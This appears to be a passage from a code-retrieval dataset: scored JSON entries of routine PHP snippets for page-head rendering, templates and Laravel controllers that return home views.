$body->title;\n\t\t$keywords = array();\n\t\tforeach (explode(\",\", $CONFIG['keywords'] . \", \" . $doc->keywords . ($doc !== $body ? \", {$body->keywords}\" : \"\")) as $kword) {\n\t\t\t$kword = trim($kword);\n\t\t\tif (!empty($kword) && !in_array($kword, $keywords))\n\t\t\t\tarray_push($keywords, $kword);\n\t\t}\n\t\t$root = new NodeList(\"head\");\n\t\t$n = null;\n\t\t// render charset first to avoid possible xss injection on older IE\n\t\t$root->addChild(MetaEquiv::create(\"Content-Type\", \"text/html;charset=\".($CONFIG['db_charset'] == \"utf8\" ? \"UTF-8\" : $CONFIG['db_charset'])))\n\t\t\t\t ->addChild(TitleTag::create($title))\n\t\t\t\t // add reset global stylesheet\n\t\t\t\t ->addChild(LinkTag::create(\"stylesheet\", \"{$CONFIG['css']}oocms.css\", \"text/css\")\n\t\t\t\t\t\t\t ->addAttribute(\"media\", \"all\"));\n\t\t// contents descriptions\n\t\t$root->addChild(Node::create(\"comment\", null, \"Robots contents description\"))\n\t\t\t\t ->addChild(LinkTag::create(\"DC.Identifier\", \"http://purl.org/dc/elements/1.1/\"))\n\t\t\t\t ->addChild(MetaTag::create(\"keywords\", implode(\",\", $keywords)))\n\t\t\t\t ->addChild(MetaTag::create(\"description\", $CONFIG['description']))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Title\", $title))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Date\", date('Y-m-d', time() - 259200)))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Type\", \"Service\"))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Creator\", \"mSigsgaard.dk\"))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Contributor\", $CONFIG['siteowner']))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Publisher\", $CONFIG['sitename']))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Identifier\", \"http://{$_SERVER['SERVER_NAME']}\"))\n\t\t\t\t ->addChild(MetaTag::create(\"DC.Rights\", \"copyright \" . date('Y') . \"- {$CONFIG['sitename']}. All rights reserved.\"));\n\t\t// spider relationals\n\t\t$root->addChild(Node::create(\"comment\", null, \"Sitemapping\"))\n\t\t\t\t ->addChild(LinkTag::create(\"contents\", \"sitemap.php?cat=$pageid\"))\n\t\t\t\t ->addChild(LinkTag::create(\"start\", \"{$CONFIG['opendocprefix']}&amp;id=\" . route_get_frontpage_id()))\n\t\t\t\t ->addChild(LinkTag::create(\"index\", \"{$CONFIG['opendocprefix']}&amp;id={$doc->pageid}\"))\n\t\t\t\t ->addChild(LinkTag::create(\"section\", \"{$CONFIG['opendocprefix']}&amp;id=$pageid\"));\n\t\t// site wide scripts (convenience functions and dojo tooklit)\n\t\t$root->addChild(Node::create(\"comment\", null, \"Script Toolkit\"))\n\t\t\t\t ->addChild(Node::create(\"script\", array(\n\t\t\t\t\t\t\t\t \"type\" => \"text/javascript\",\n\t\t\t\t\t\t\t\t \"data-dojo-config\" => \"parseOnLoad:false,async:true,locale: 'da-dk',packages:\" .\n\t\t\t\t\t\t\t\t \"[{name:'OoCmS',location:'{$CONFIG['relurl']}lib/dojoextensions'}]\",\n\t\t\t\t\t\t\t\t \"src\" => \"{$CONFIG['dojoroot']}\" . \"dojo/dojo.js\"), \"\", false))\n//\t\t\t\t ->addChild(ScriptTag::create(\"text/javascript\", \"{$CONFIG['relurl']}include/prototyping.js\"))\n\t\t\t\t ->addChild(ScriptTag::create(\"text/javascript\", null, \"\")\n\t\t\t\t\t\t\t ->setInnerHTML(\"var gPage = { baseURI:'{$CONFIG['relurl']}'};\\n\" .\n\t\t\t\t\t\t\t\t\t\t\"var gDocument = \" . $doc->getDocumentObject(\"JSON\") . \";\\n\"));\n\t\tif ($doc->type == \"page\") {\n\t\t\t$this->renderDocumentResources($root);\n\t\t}\n\t\treturn $root;\n\t}", "title": "" }, { "docid": "221bf8bdd9a65ecfba3525ab97977148", "score": "0.5226785", "text": "public function getTwigFrontendContent();", "title": "" }, { "docid": "a01393fc2908e6dfac2d492f09680d24", "score": "0.52240574", "text": "private function openModuleBody()\n {\n // markup for each block\n $out = \"<div style='display:none;' class='kb_inner kb-module__body'>\";\n $out .= \"<div class='kb-module__controls-inner'>\";\n return $out;\n }", "title": "" }, { "docid": "f4f5d85999f4ef6aba0c916e5c2b9a8b", "score": "0.519876", "text": "protected function content(): string\n {\n $content = '';\n\n if ($this->extends) {\n $content .= \"@extends('\" . $this->extends . \"')\";\n }\n\n $types = [\n 'section' => $this->sections,\n 'component' => $this->components,\n 'push' => $this->stacks,\n ];\n\n foreach ($types as $key => $values) {\n $content .= $this->blocks($key, $values);\n }\n\n return $content;\n }", "title": "" }, { "docid": "a2d8101e49fb671fba04eb7ef5178e25", "score": "0.5193421", "text": "function template_imode_above()\n{\n\tglobal $context, $settings, $options;\n\n\techo '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD Compact HTML 1.0 Draft//EN\">\n<html', $context['right_to_left'] ? ' dir=\"rtl\"' : '', '>\n\t<head>\n\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=', $context['character_set'], '\" />\n\t\t<title>', $context['page_title'], '</title>\n\t</head>\n\t<body>';\n}", "title": "" }, { "docid": "0621bb9f016ad36b20cb4df0c57a45f9", "score": "0.51928294", "text": "function getContentToolbar() {\n include_once(PAPAYA_INCLUDE_PATH.'system/base_btnbuilder.php');\n $toolbar = new base_btnbuilder;\n $toolbar->images = &$GLOBALS['PAPAYA_IMAGES'];\n\n $toolbar->addButton(\n 'General',\n $this->getLink(array('contentmode' => 0)),\n 'items-option',\n '',\n $this->params['contentmode'] == 0\n );\n $toolbar->addButton(\n 'Tag Selection',\n $this->getLink(array('contentmode' => 1)),\n 'items-tag',\n '',\n $this->params['contentmode'] == 1\n );\n $toolbar->addSeperator();\n\n if ($str = $toolbar->getXML()) {\n return '<toolbar>'.$str.'</toolbar>';\n }\n return '';\n }", "title": "" }, { "docid": "5afdcac21212a104009a481d3ebc5ccf", "score": "0.5192218", "text": "public function content_html() {\n\t\t}", "title": "" }, { "docid": "42f5deba00caea7ed7e9f52318445ddd", "score": "0.518418", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nIntro to Programming in C#\nMAINHEADING;\n }", "title": "" }, { "docid": "58e3770fb9828d3db18cce91ae263ab4", "score": "0.51799184", "text": "abstract public function getCommonHTML();", "title": "" }, { "docid": "2e5f2eca4ae2aab55edd41c45ab072ad", "score": "0.5179206", "text": "public function getFullTag();", "title": "" }, { "docid": "f11bef8d3de353b163ed49c996a22d69", "score": "0.51790375", "text": "protected function displayContent()\n {\n\n $html = '<h1>' . $this->pageInfo['pageHeading'] . '</h1>' . \"\\n\";\n\n $html .= '<div id=\"about-content\">' . \"\\n\";\n\n $html .= '<div class=\"item\">' . \"\\n\";\n $html .= '<h2>What is Volition?</h2>' . \"\\n\";\n $html .= '<p>Volition is place where people can come to show off their professional work and view other people\\'s. It could be defined as an online portfolio. A place where people can come and look at a range of freelancers work and then get in contact if they are interested in openly employing.</p>' . \"\\n\";\n $html .= '</div>' . \"\\n\";\n\n $html .= '<div class=\"item\">' . \"\\n\";\n $html .= '<h2>What is the difference between a \\'Lance\\' and a \\'Seek\\'?</h2>' . \"\\n\";\n $html .= '<p>Volition has two knids of users. Seek\\'s are people who are looking for somebody that can produce high quality work, and are able to see Lance\\'s profile to get information in order to contact them. A Lance is someone who can go on and upload their work and information to show to the world.</p>' . \"\\n\";\n $html .= '</div>' . \"\\n\";\n\n $html .= '<div class=\"item\">' . \"\\n\";\n $html .= '<h2>How much does this service cost?</h2>' . \"\\n\";\n $html .= '<p>Volition is a free service, and always will be.</p>' . \"\\n\";\n $html .= '</div>' . \"\\n\";\n\n $html .= '<div class=\"item\">' . \"\\n\";\n $html .= '<h2>Who can see my information?</h2>' . \"\\n\";\n $html .= '<p>Only people who have an account can log in see other users information. Volition doesn\\'t take personal information such as names and addresses.</p>' . \"\\n\";\n $html .= '</div>' . \"\\n\";\n\n $html .= '</div>' . \"\\n\";\n\n return $html;\n }", "title": "" }, { "docid": "946c090fbfc135583b70947e803aefee", "score": "0.5174121", "text": "public function openThead()\n {\n $this->openTag('thead');\n }", "title": "" }, { "docid": "46ad46dfc5cdcc4f55a313e1e0b380d4", "score": "0.5170626", "text": "public function header() {\n\t\tglobal $PAGE;\n\n\t\t$stylesheets = $PAGE->get_stylesheets();\n\n\t\techo <<<HTML5\n\t\t\t<!DOCTYPE html>\n\t\t\t<html lang=\"en\">\n\t\t\t <head>\n\t\t\t <meta charset=\"utf-8\">\n\t\t\t <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n\t\t\t <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\t\t\t <title>{$PAGE->get_title()}</title>\n\n\t\t\t $stylesheets\n\n\t\t\t <!--[if lt IE 9]>\n\t\t\t <script src=\"https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js\"></script>\n\t\t\t <script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n\t\t\t <![endif]-->\n\t\t\t </head>\n\t\t\t <body role=\"document\">\nHTML5;\n\n\t\t$this->navigation();\n\n\t\techo <<<HTML5\n \t\t<div class=\"container page-content\" role=\"main\">\nHTML5;\n\t}", "title": "" }, { "docid": "77426d624e30c2fb37ffb0c06bdf12ef", "score": "0.5169337", "text": "abstract public function htmlContent();", "title": "" }, { "docid": "4e55efebd2db993b40341fc73650bf07", "score": "0.5168", "text": "function getEndTag() \n\t{\n\t\treturn $this->end_tag;\n\t}", "title": "" }, { "docid": "f227bc3a7d582aa10c2885baec29a3ad", "score": "0.5167858", "text": "function openBlock(){\n\t\tglobal $root_dir;\n\t\t?>\n\t\t<table width=\"100%\" cellpadding=\"5\" cellspacing=\"0\" border=\"0\"><tr><td>\n\t\t<?php\n\t}", "title": "" }, { "docid": "3b4c543d4a46e09319b40eec30115ec0", "score": "0.5167271", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nLAG() and MODEL() in PL SQL\nMAINHEADING;\n }", "title": "" }, { "docid": "f2dfb673fc8f3ad103a88645d01db0c5", "score": "0.5167194", "text": "final public function getDocBlock(): string\n {\n return $this->docBlock;\n }", "title": "" }, { "docid": "6272b37cd871d492edc90f286c64bc75", "score": "0.5162854", "text": "public function GetExtraContent() {\n\t\treturn NULL;\n\t}", "title": "" }, { "docid": "e5850266dcfe4b26d21ff6d4d7102953", "score": "0.5157915", "text": "public function content() {\n if ($this->expansionlimit!==null) {\n $this->toggle_type_display($this->expansionlimit);\n }\n return parent::content();\n }", "title": "" }, { "docid": "35d709d819bb68e4cc8da6fec5673e93", "score": "0.51569474", "text": "function moduleContent() {\n\t\tglobal $LANG;\n\t\t$this->moduleId = intval($this->MOD_SETTINGS['function']);\n\t\t$this->moduleClassname = $this->modules[$this->moduleId];\n\n\t\t$moduleClass = t3lib_div::makeInstanceClassname($this->moduleClassname);\n\t\t$this->module = new $moduleClass($this, $LANG);\n\n\t\t$this->content .= $this->doc->section($this->module->getTitle(), $this->module->getContent(), 0, 1);\n\t}", "title": "" } ]
d97078020a2372d9f0d95b91c054d313
/ | | Default Home Controller | | | You may wish to use controllers instead of, or in addition to, Closure | based routes. That's great! Here is an example controller method to | get you started. To route to this controller, just add the route: | |
[ { "docid": "0ece3f6ced9db11d0c1b2888d7adec93", "score": "0.0", "text": "public function __construct()\n {\n\n }", "title": "" } ]
[ { "docid": "b0e9c710265eccc42d9d9242ed8e1e93", "score": "0.7457044", "text": "public function index(){\n \techo \"Hello from index action in the Home controller!\";\n }", "title": "" }, { "docid": "91e7d56a324ebf377066a8e85a203147", "score": "0.70083857", "text": "public function index()\n\t{\n\t\t$this->view('home');\n\t}", "title": "" }, { "docid": "fb86fcc53f9e6f5b6794054d19eba749", "score": "0.68454814", "text": "public function home()\n {\n $this->index();\n }", "title": "" }, { "docid": "ae1ce721a80c980ea6cce210ded631f7", "score": "0.6753069", "text": "public function index()\n {\n return view('/home');\n }", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "5d4e0ccf87bfa1bc7426cd164600e587", "score": "0.6745877", "text": "public function index()\n\t{\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "af17e0bacb6ab4ba4d41e202270bbacd", "score": "0.6720387", "text": "public function getIndex(){\n $this->view('home');\n \n }", "title": "" }, { "docid": "aaf658290ee9e23729e468f5b089b701", "score": "0.6688885", "text": "public function home() {\n\t\t\n\t\t$peter = \"peter\";\n\t\treturn View::make('controllertest')->with('peter',$peter);\n\t}", "title": "" }, { "docid": "8a2a2a6b06739ec79d187b355ef31d63", "score": "0.66820586", "text": "public function index()\n {\n // returning the view using the index function\n return view('home');\n\n }", "title": "" }, { "docid": "359ee3f56f9c767a38be0fc84d6d17c1", "score": "0.6673519", "text": "function home_route()\n {\n if (Gate::allows('access backend')) {\n return route('admin.home');\n }\n\n return route('user.home');\n }", "title": "" }, { "docid": "14105e8b6cbe06cf9485f86946d1bfb7", "score": "0.6671667", "text": "function index() {\n\t\trender(\"home/index\");\t\n\t}", "title": "" }, { "docid": "bd2b9467fd73a10228c55289770d10dc", "score": "0.66589093", "text": "public function index() {\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "bd2b9467fd73a10228c55289770d10dc", "score": "0.66589093", "text": "public function index() {\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "8173aa114e26861bc8fcc562995c77af", "score": "0.66266483", "text": "public function index()\n {\n // debug message to show where you are, just for the demo\n echo 'Message from Controller: You are in the controller home, using the method index()';\n // load views. within the views we can echo out $songs and $amount_of_songs easily\n require 'application/views/_templates/header.php';\n require 'application/views/home/index.php';\n require 'application/views/_templates/footer.php';\n }", "title": "" }, { "docid": "8d429d3101dd76631bc715a4c821c724", "score": "0.6604103", "text": "public function index()\r\n\t{ \r\n\t\treturn view('hello');\r\n\t}", "title": "" }, { "docid": "4344aa7ec8ada2026f3f5c60e9e38477", "score": "0.659064", "text": "function index()\n {\n $this->response()->write('hello world');\n }", "title": "" }, { "docid": "4093cc23be624a3e0c58dba5c29d8844", "score": "0.6583601", "text": "public function indexAction()\n {\n View::renderTemplate('Home/index.html', [\n 'name' => 'Kris',\n 'colors' => ['red', 'green', 'blue']\n ]);\n\n //echo 'Hello from the index action of the HomeController';\n /**View::render(\n 'Home/index.php',\n [\n 'name' => 'Dave',\n 'colors' => ['red', 'green', 'blue']\n ]\n );*/\n //what is ::?\n //:: means Scope resolution operator.\n //Scope resolution operator: allows access to content\n }", "title": "" }, { "docid": "625a1b262e6ee286dc1c43f6ec347f80", "score": "0.65802836", "text": "public function index()\n {\n return view('home'); \n }", "title": "" }, { "docid": "0264a95e79448de53e77600aa33e493c", "score": "0.65798813", "text": "public function home(){\n\t\treturn view('index');\n\t}", "title": "" }, { "docid": "72a4515ab2015a21be59ffac195ae3a1", "score": "0.6577944", "text": "public function index()\n {\n view('Home/index');\n }", "title": "" }, { "docid": "b42e74733c3142bcd3cdcd88e3d71310", "score": "0.6571057", "text": "public function index() {\n\t\t\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "917cca2beebc60b1c1d711176c016ba9", "score": "0.65657896", "text": "public function index() {\n redirect('/home');\n }", "title": "" }, { "docid": "db244e1657d9e89252a79a3632e09171", "score": "0.65634334", "text": "public function home()\n {\n return view(\"welcome\");\n }", "title": "" }, { "docid": "961db64c5fd027b4761ea6144329dc11", "score": "0.6561231", "text": "public function index()\n\t{\n\t\tredirect('home');\n\t}", "title": "" }, { "docid": "080406954f8c17d7facdd5e4f7f87f2f", "score": "0.6560627", "text": "public function index()\n {\n //\n return view('home');\n }", "title": "" }, { "docid": "97cbd4661b396a06096b16ef1c6af235", "score": "0.6542055", "text": "public function index()\n {\nreturn view('home');\n }", "title": "" }, { "docid": "5a0f2bebaccf77b5e524d57cecc1ad8d", "score": "0.6535822", "text": "public function index()\r\n {\r\n\r\n\r\n return view ('Pages.home');\r\n }", "title": "" }, { "docid": "3e59ca888b976fc88b70005ca1e39a44", "score": "0.65280306", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "0cacac94a99431518c2bddabc7700518", "score": "0.65247834", "text": "public function home()\n\t{\t\t\n\t\t$this->middleware('auth');\t\n\t\treturn view('home');\n\t}", "title": "" }, { "docid": "b4786487e23445c3fa4bb41cd9cf3cb5", "score": "0.6524643", "text": "function controller_home($app, $options = []) {\n return;\n }", "title": "" }, { "docid": "b6b0787de458157b5eb52b2cbd2fdc85", "score": "0.65196115", "text": "public function index() {\n\t\t$data = array(\n\t\t\t'content' => 'Hello World!',\n\t\t\t'more' => '<a href=\"/' . SITE_ROOT_FOLDER . '/hello/goodbye/\">Check out another \n\t\t\tcontroller method</a>');\n\n\t\t//Load hello_word view and pass data \n\t\t$this->loadView('hello_world',$data);\n\n\t}", "title": "" }, { "docid": "e12867a5afd83f42a9b239a9c035b481", "score": "0.6511282", "text": "public function index()\n {\n return view('main.home');\n }", "title": "" }, { "docid": "cc003cf05d2b077577a2b18a54ff05c4", "score": "0.6505918", "text": "public function index()\n {\n \n\n\n\n return view('home');\n }", "title": "" }, { "docid": "1638a2a978f2933a5519a3633a54d0ab", "score": "0.6503661", "text": "public function indexAction(){\n echo \"Hello from index page of Admin Controller\";\n }", "title": "" }, { "docid": "cb74254c2d900fe14d532773e00cdc27", "score": "0.6500754", "text": "function defaultHomeController() {\n\t\treturn $this->replaceVars('<?php\n/**\n * homeController.class.php\n * \n * homeController class\n *\n * @author %author%\n * @copyright %copyright%\n * @package %package%\n * @subpackage %subpackage%\n * @category homeController\n */\n\n\n/**\n * homeController class\n * \n * Provides the \"home\" page defaults\n * \n * @package %package%\n * @subpackage %subpackage%\n * @category homeController\n */\nclass homeController extends mvcController {\n\t\n\tconst ACTION_HOME = \\'home\\';\n\t\n\t/**\n\t * @see mvcControllerBase::initialise()\n\t */\n\tfunction initialise() {\n\t\tparent::initialise();\n\t\t$this->setDefaultAction(self::ACTION_HOME);\n\t}\n\t\n\t/**\n\t * @see mvcControllerBase::launch()\n\t */\n\tfunction launch() {\n\t\t$oView = new homeView($this);\n\t\t$oView->showHomePage();\n\t}\n\t\n\t/**\n\t * Fetches the model\n\t *\n\t * @return homeModel\n\t */\n\tfunction getModel() {\n\t\tif ( !parent::getModel() ) {\n\t\t\t$this->buildModel();\n\t\t}\n\t\treturn parent::getModel();\n\t}\n\n\t/**\n\t * Builds the model\n\t *\n\t * @return void\n\t */\n\tfunction buildModel() {\n\t\t$oModel = new homeModel();\n\t\t$this->setModel($oModel);\n\t}\n}');\n\t}", "title": "" }, { "docid": "bf59edd4ef1d6685dcc805b394a3c4bd", "score": "0.6492995", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "0ce110777cbc5724153124da02c9fb1b", "score": "0.64862305", "text": "public function index(){\n return view('home', ['title' => 'Home',]);\n }", "title": "" }, { "docid": "ef6b2997f41bc04a2719af8506be1104", "score": "0.6485415", "text": "public function index()\n {\n $meta = Metadata::getPage('home');\n return view('home',compact('meta'));\n }", "title": "" }, { "docid": "f2ad6cb05edbcab06201eb9644e9fceb", "score": "0.64844346", "text": "public function index()\n {\n return view('welcome', ['title' => 'Home']);\n }", "title": "" }, { "docid": "329d38314551e55c077c6ceec5826152", "score": "0.64829725", "text": "public function index()\n {\n redirect('/{app_name}/{class_name}/list');\n }", "title": "" }, { "docid": "cca034203a52040c195f21425de3575d", "score": "0.64826", "text": "public function index()\n\t{\n\t\techo \"hello\";\n\t}", "title": "" }, { "docid": "86de67bf7fab1a110395a901426a9c64", "score": "0.6475186", "text": "public function index()\n {\n return view ('welcome');\n }", "title": "" }, { "docid": "c67d928acf846fd271ea848a0c634c81", "score": "0.64730495", "text": "public function controller() {\n\t\t// router dengan Slim\n\t\trequire 'lib/Slim/Slim.php';\n\t\t\\Slim\\Slim::registerAutoloader();\n\t\t$this->app = new \\Slim\\Slim();\n\t\t\n\t\t$this->load('helper', 'controller');\n\t\t$app =& $this->app;\n\t\t$ctr = $this;\n\t\t\n\t\t// controller file\n\t\tforeach (scandir('controller') as $file) {\n\t\t\tif (is_file('controller/' . $file))\n\t\t\t\trequire('controller/' . $file);\n\t\t}\n\t\t\n\t\t$this->app->run();\n\t}", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" }, { "docid": "e01a52edcbf09843889c281779387692", "score": "0.64728564", "text": "public function index()\n {\n return view('home');\n }", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "49bd1fd71a81cf159be56a5e7fd3c1a8", "score": "0.0", "text": "public function index()\n {\n $comments = Comment::all();\n\n return view('comments.index',compact('comments'));\n }", "title": "" } ]
[ { "docid": "a1420ad0fb284c611971591393b45aef", "score": "0.7509679", "text": "public function index()\n\t{\n\t\t$resources = Resources::all();\n\t\t$collection = array();\n\t\t\n\t\tforeach ($resources as $name => $options)\n\t\t{\n\t\t\tif (false === value($options->visible)) continue;\n\t\t\t\n\t\t\t$collection[$name] = $options;\n\t\t}\n\n\t\t$table = $this->presenter->table($collection);\n\n\t\tSite::set('title', trans('orchestra/foundation::title.resources.list'));\n\t\tSite::set('description', trans('orchestra/foundation::title.resources.list-detail'));\n\n\t\treturn View::make('orchestra/foundation::resources.index', array(\n\t\t\t'eloquent' => $collection,\n\t\t\t'table' => $table,\n\t\t));\n\t}", "title": "" }, { "docid": "03c28056ac36b9758780b52bcb56ea11", "score": "0.7453479", "text": "public function actionList() {\n $this->getList();\n }", "title": "" }, { "docid": "79ad7ebbde0cad2af3c2becbd440dc9d", "score": "0.736227", "text": "public function listing();", "title": "" }, { "docid": "0aa4853e6e1c011310051c464837c9be", "score": "0.7341522", "text": "public function index()\n {\n $resources = $this->resource->paginate(10);\n\n return view('manager.resources.index', compact('resources'));\n }", "title": "" }, { "docid": "f6249e52b27cd61546f9ac9938889b8c", "score": "0.72989535", "text": "public function index()\n {\n $resources = Resource::all();\n return view('admin.resource.list')->with('resources',$resources);\n }", "title": "" }, { "docid": "dd0281461ff38e01dc7daaf263a98684", "score": "0.72688746", "text": "function index() {\n $this->getList();\n }", "title": "" }, { "docid": "223999e9a02d01dc0cad36705dec31b1", "score": "0.72478926", "text": "public function actionList() {\n $this->_getList();\n }", "title": "" }, { "docid": "eacf64f52d5b73d527cae880dfe65bc1", "score": "0.72152483", "text": "public function index()\n {\n return 